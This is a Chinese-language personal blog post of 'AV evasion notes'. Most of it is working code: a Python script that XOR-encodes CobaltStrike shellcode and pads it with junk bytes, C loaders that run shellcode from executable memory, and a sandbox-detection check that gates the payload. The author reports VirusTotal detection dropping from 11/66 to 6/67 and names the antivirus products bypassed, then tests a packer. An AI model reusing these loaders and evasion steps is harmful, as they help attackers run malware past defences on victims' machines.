免杀笔记
This_is_Y Lv6

VS2019使用注意事项

  1. 使用Release
    在” 项目 –> 项目属性(最后一个) “里,左上角配置里,改位release

  2. 禁用优化
    在” 项目 –> 项目属性(最后一个) –> C/C++ –> 优化 “里面

  3. 禁用栈缓冲区安全检查(?Gs)
    在” 项目 –> 项目属性(最后一个) –> C/C++ –> 代码生成 “里
    https://blog.csdn.net/wenrennaoda/article/details/99683051

  4. 禁用DEP
    在” 项目 –> 项目属性(最后一个) –> 链接器 –> 高级 “里

  5. 在编译时根据生成的shellcode有没有勾选x64,选择64或86,不然编译运行会报错Privileged instruction
    image-20211101151927362

  6. 重新定义程序入口
    #pragma comment(linker,”/subsystem:"windows" /entry:"Run"“)

  7. 关闭运行黑窗口
    #pragma comment(linker, “/INCREMENTAL:NO”)

  8. 文件后缀应该是.cpp,而不是.c

  9. 优先选择x86,也就是32位的shellcode,可以少很多麻烦

源码免杀

  • 目的:
    • shellcode在执行前,防病毒软件都不能正确识别它
  • 面临的问题:
    • 需要抵抗静态/启发式检测
  • 解决方法:
    • 加密存储shellcode,内存解密
    • 混淆解密代码
  1. 常见病毒检测机制:
    1.静态检测
    不允许程序的情况下进行软件的分析检测。
    
    2.动态检测
    在真实或虚拟处理器上运行程序,HOOK关键函数对传递的参数、文件操作、内存操作进行检测。
    
    3.基于特征码检测
    大部分防病毒软件识别恶意软件的基础。获取恶意样本,提取特征码,放入放入防病毒库。(特征码的提取可以使用模糊哈希算法)
    
    4.基于沙箱的检测
    在隔离或虚拟的环境中进行测试。对文件操作、内存操作等进行行为分析和规则匹配。(加壳加密程序好检测)
    
    5.启发式检测
    通过预定义的标准对代码片段进行分类,提供威胁/风险等级来检测未知病毒,一旦分数高于阈值就识别为恶意软件。
    
  • 免杀核心思想:混淆、加解密、替换
    • 加解密: 对shellcode或二 进制程序进行加密使其难以逆向。对环境进行检测,运行环境”安全”则开始解密并在内存中加载执行
    • 混淆: 在不破坏程序运行的基础上,通过添加几行无意义代码或更改指令执行顺序(使静态分析更困难,还改变了二进制程序的散列特征)
  1. 内联汇编混淆解密代码
  2. shellcode免杀(异或)
  3. 函数指针执行shellcode,关闭edp(执行数据保护)

.

混淆

  1. 异或
    https://saucer-man.com/operation_and_maintenance/465.html
    先借助python,对shellcode编码,
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    def xor(shellcode, key):
    new_shellcode = ""
    key_len = len(key)
    # 对shellcode的每一位进行xor亦或处理
    for i in range(0, len(shellcode)):
    s = ord(shellcode[i])
    p = ord((key[i % key_len]))
    s = s ^ p # 与p异或,p就是key中的字符之一
    s = chr(s)
    new_shellcode += s
    return new_shellcode

    def add_random_code(shellcode, key):
    new_shellcode = ""
    key_len = len(key)
    # 每个字节后面添加随机一个字节,随机字符来源于key
    for i in range(0, len(shellcode)):
    new_shellcode += shellcode[i]
    new_shellcode += key[i % key_len]
    return new_shellcode


    # 将shellcode打印输出
    def str_to_hex(shellcode):
    raw = ""
    for i in range(0, len(shellcode)):
    s = hex(ord(shellcode[i])).replace("0x",'')
    if len(s) == 1:
    s = "0" + s
    raw =raw + "\\x" + s
    return raw

    # c,64,CobaltStrike
    shellcode = "s";


    # 这是异或和增加随机字符使用的key,为了提高复杂度也可以使用两个key
    key = "fdaufdiqe"

    # 首先对shellcode进行异或处理
    shellcode = xor(shellcode, key)

    # 然后在shellcode中增加随机字符
    shellcode = add_random_code(shellcode, key)

    # 将shellcode打印出来
    print(str_to_hex(shellcode))

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    #include<Windows.h>
    #pragma comment(linker,"/subsystem:\"windows\" /entry:\"mainCRTStartup\"")

    typedef void(_stdcall* CODE)();
    void XOR_Decrypt()
    {
    unsigned char shellcode[] = "shellcode";

    int shellcode_size = 0; //原始shellcode长度
    int shellcode_final_size = 0; //解码之后的shellcode长度
    char key[] = "fdaufdiqe";
    int j;
    int key_size = sizeof(key) - 1;
    unsigned char* shellcode_final;

    // 获取shellcode大小
    shellcode_size = sizeof(shellcode);
    // 根据加密之后shellcode的大小可以推算出解码之后的大小为(shellcode_size + 1) / 2
    shellcode_final_size = (shellcode_size + 1) / 2;
    shellcode_final = (unsigned char*)malloc(shellcode_final_size);

    //首先去除垃圾代码,将结果保存在shellcode_final
    j = 0;
    for (int i = 0; i < shellcode_size; i++) {
    if (i % 2 == 0) {
    shellcode_final[j] = shellcode[i];
    j += 1;
    }
    }

    //然后进行异或处理,还原shellcode
    for (int i = 0; i < shellcode_final_size; i++) {
    shellcode_final[i] ^= key[i % key_size];
    }


    PVOID p = NULL;
    p = VirtualAlloc(NULL, shellcode_final_size, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
    if (p == NULL)
    {
    return;
    }
    memcpy(p, shellcode_final, shellcode_final_size);
    CODE code = (CODE)p;
    code();

    }

    int main(int argc, char** argv)
    {
    XOR_Decrypt();
    }


执行shellcode

不带内联汇编

  • 函数指针执行shellcode,关闭edp(执行数据保护)

    • 不能运行,报错:执行位置 0x00000049476FF970 时发生访问冲突。
      1
      2
      3
      4
      5
      6
      7
      8
      #include<windows.h>
      void loader1()
      {
      char shellcode[] = 'shellcode';
      int (*func)();
      func = (int(*)())(void*)shellcode;
      (int)(*func)();
      }
  • xxxx

    • 不能运行,报错:执行位置 0x0000002E0D8FF5C0 时发生访问冲突。
1
2
3
4
5
6
void loader()
{
unsigned char shellcode[] = "shellcode";
((void(*)(void)) & shellcode)();

}
  • xxxx
    • 可以运行
1
2
3
4
5
6
7
void loader1()
{
unsigned char shellcode[] = "shellcode";
LPVOID Memory = VirtualAlloc(NULL, sizeof(shellcode), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
memcpy(Memory, shellcode, sizeof(shellcode));
((void(*)())Memory)();
}
  • xxxx
    • 可以运行()
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
typedef void(_stdcall* CODE)();
void loader()
{
unsigned char shellcode[] = "shellcode";
PVOID p = NULL;
p = VirtualAlloc(NULL, sizeof(shellcode), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
if (p == NULL)
{
return;
}
memcpy(p, shellcode, sizeof(shellcode));
CODE code = (CODE)p;
code();
}

  • xxx
    • 可以运行,但是只能运行一下
1
2
3
4
5
6
7
8
9
10
void loader
{
LPVOID addressPointer = VirtualAlloc(NULL, sizeof(shellcode), 0x3000, 0x40);
// Copy shellcode
RtlMoveMemory(addressPointer, shellcode, sizeof(shellcode));
// Create thread pointing to shellcode address
CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)addressPointer, NULL, 0, 0);
// Sleep for a second to wait for the thread
Sleep(1000);
}c
  • xxxx
    • 可以运行
1
2
3
4
5
6
7
void loader
{
HANDLE HeapHandle = HeapCreate(HEAP_CREATE_ENABLE_EXECUTE, sizeof(shellcode), sizeof(shellcode));
void* exec = HeapAlloc(HeapHandle, HEAP_ZERO_MEMORY, sizeof(shellcode));
memcpy(exec, shellcode, sizeof(shellcode));
((void(*)())exec)();
}
  • xxxx

    • 无法运行
      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      12
      13
      typedef int (*Func)(LPVOID, SIZE_T, DWORD, DWORD);
      void loader1()
      {
      HINSTANCE k32 = LoadLibrary(TEXT("kernel32.dll"));
      Func pFunc;
      if (k32 != NULL)
      {
      pFunc = (Func)GetProcAddress(k32, "VirtuallAlloc");
      DWORD exec = pFunc(0, sizeof(shellcode), MEM_COMMIT, PAGE_EXECUTE_READWRITE);
      memcpy((void*)exec, shellcode, sizeof(shellcode));
      ((void(*)())exec)();
      }
      }
  • xxxx
    • 无法运行
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
typedef int (*Func)(LPVOID, SIZE_T, DWORD, DWORD);
void loader1()
{
HINSTANCE k32;
__asm
{
mov esi, fs: [0x30] //得到PEB地址
mov esi, [esi + 0xc] //指向PEB_LDR_DATA结构的首地址
mov esi, [esi + 0x1c] //一个双向链表的地址
mov esi, [esi] //得到第二个条目kernelBase的链表
mov esi, [esi] //得到第三个条目kernel32链表
mov esi, [esi + 0x8] //得到kernel32.dll地址
mov k32, esi
}
Func pFunc;
if (k32 != NULL)
{
pFunc = (Func)GetProcAddress(k32, "VirtuallAlloc");
DWORD exec = pFunc(0, sizeof(shellcode), MEM_COMMIT, PAGE_EXECUTE_READWRITE);
memcpy((void*)exec, shellcode, sizeof(shellcode));
((void(*)())exec)();
}
}

带内联汇编

  • text节运行shellcode
    • 不能运行
1
2
3
4
5
6
7
int main()
{
asm(".byte 0xfc,0x48,0x83,0xe4,0xf0,0xe8,0xc8,0x8d 0x00\n\t
""ret\n\t");
return 0;
}

反沙箱技术

  • 延时

    借助自带API效果不好,可以通过大量计算来延时

  • 文件名

    部分沙箱会重命名文件,可以加一个判断

  • 模拟文件操作

    创建一个文件,再打开,如果文件打开失败(沙箱可能会组织程序创建文件),则有可能是沙箱中

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    int main(int argc, char** argv)
    {
    CHAR FILE_PATH[] = "1.txt";
    HANDLE file;
    DWORD tmp;
    LPCVOID buff = "1234";
    char outputbuff[5] = { 0 };
    file = CreateFile(TEXT("E:\\VS_bypassAV\\1.txt"), GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, 0);
    if (WriteFile(file, buff, strlen((const char*)buff), &tmp, NULL))
    {
    CloseHandle(file);
    file = CreateFile(TEXT("E:\\VS_bypassAV\\1.txt"),
    GENERIC_READ,
    FILE_SHARE_READ,
    NULL,
    OPEN_EXISTING,
    FILE_ATTRIBUTE_NORMAL,
    NULL);
    if (ReadFile(file, outputbuff, 4, &tmp, NULL))
    {
    if (strncmp((char*)buff, outputbuff, 4) == 0)
    {
    // 运行shellcode
    loader7();
    }
    }
    CloseHandle(file);
    }
    DeleteFile(TEXT("E:\\VS_bypassAV\\1.txt"));
    }

    亲测,没有加这步的程序,

    11/66

    https://www.virustotal.com/gui/file/c58e0ea3fe7f3057730f279aa497f0ccd9ed3f0d5f980c03bae8e54abad214c0?nocache=1

    image-20211101203942264

    加上这步后,

    6/67

    https://www.virustotal.com/gui/file/d29d3f9a6b62bc22acaad515abec68a128ab13241a71769be3eb43d0c6ff3682?nocache=1

    image-20211101203854967

    对比可以知道,文件操作可以解决avira,Cylance,Elastic,ESET-NOD32,FireEye,Ikarus这些杀软.

加壳

看别人公众号,找了一个工具http://www.safengine.com/

把上面6/67的程序加一下壳,12kb变805kb,大小还不是问题

image-20211105093544797

上virustotal查一下,看来是被加黑名单了

31/66

https://www.virustotal.com/gui/file/9a09cfd35a685236b0bba9b34f05e9cdcbef9b7eb4eb7ff08b634c5cd19d59fb?nocache=1

关于内联汇编

https://blog.csdn.net/luoyu510183/article/details/109429007

代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
#include <stdio.h>
int main()
{
int test = 6;
__asm
{
mov eax, test //把test的值写入eax寄存器
dec eax //寄存器数值减一
mov test, eax //把eax的值写回test变量中
}
printf("test:%d\n", test); //test 为0
return test;
}

32位汇编不需要做任何调整,只需要注意看这里是不是x86就行,基本上编译一下就过了

image-20211102233755512

相比较于32位汇编, 64位要麻烦一点, 因为VS原生不支持64位汇编,所以这里需要使用clang来帮助编译.

在” 项目 –> 项目属性(最后一个) –> 常规 –> 平台工具集 “选择

如果没有的话,打开vs installer,找到对应的vs版本,修改 –> 单个组件 搜索clang,安装这两个(真大啊

image-20211102234724107

image-20211103133934070

然后就可以编译运行了

 Comments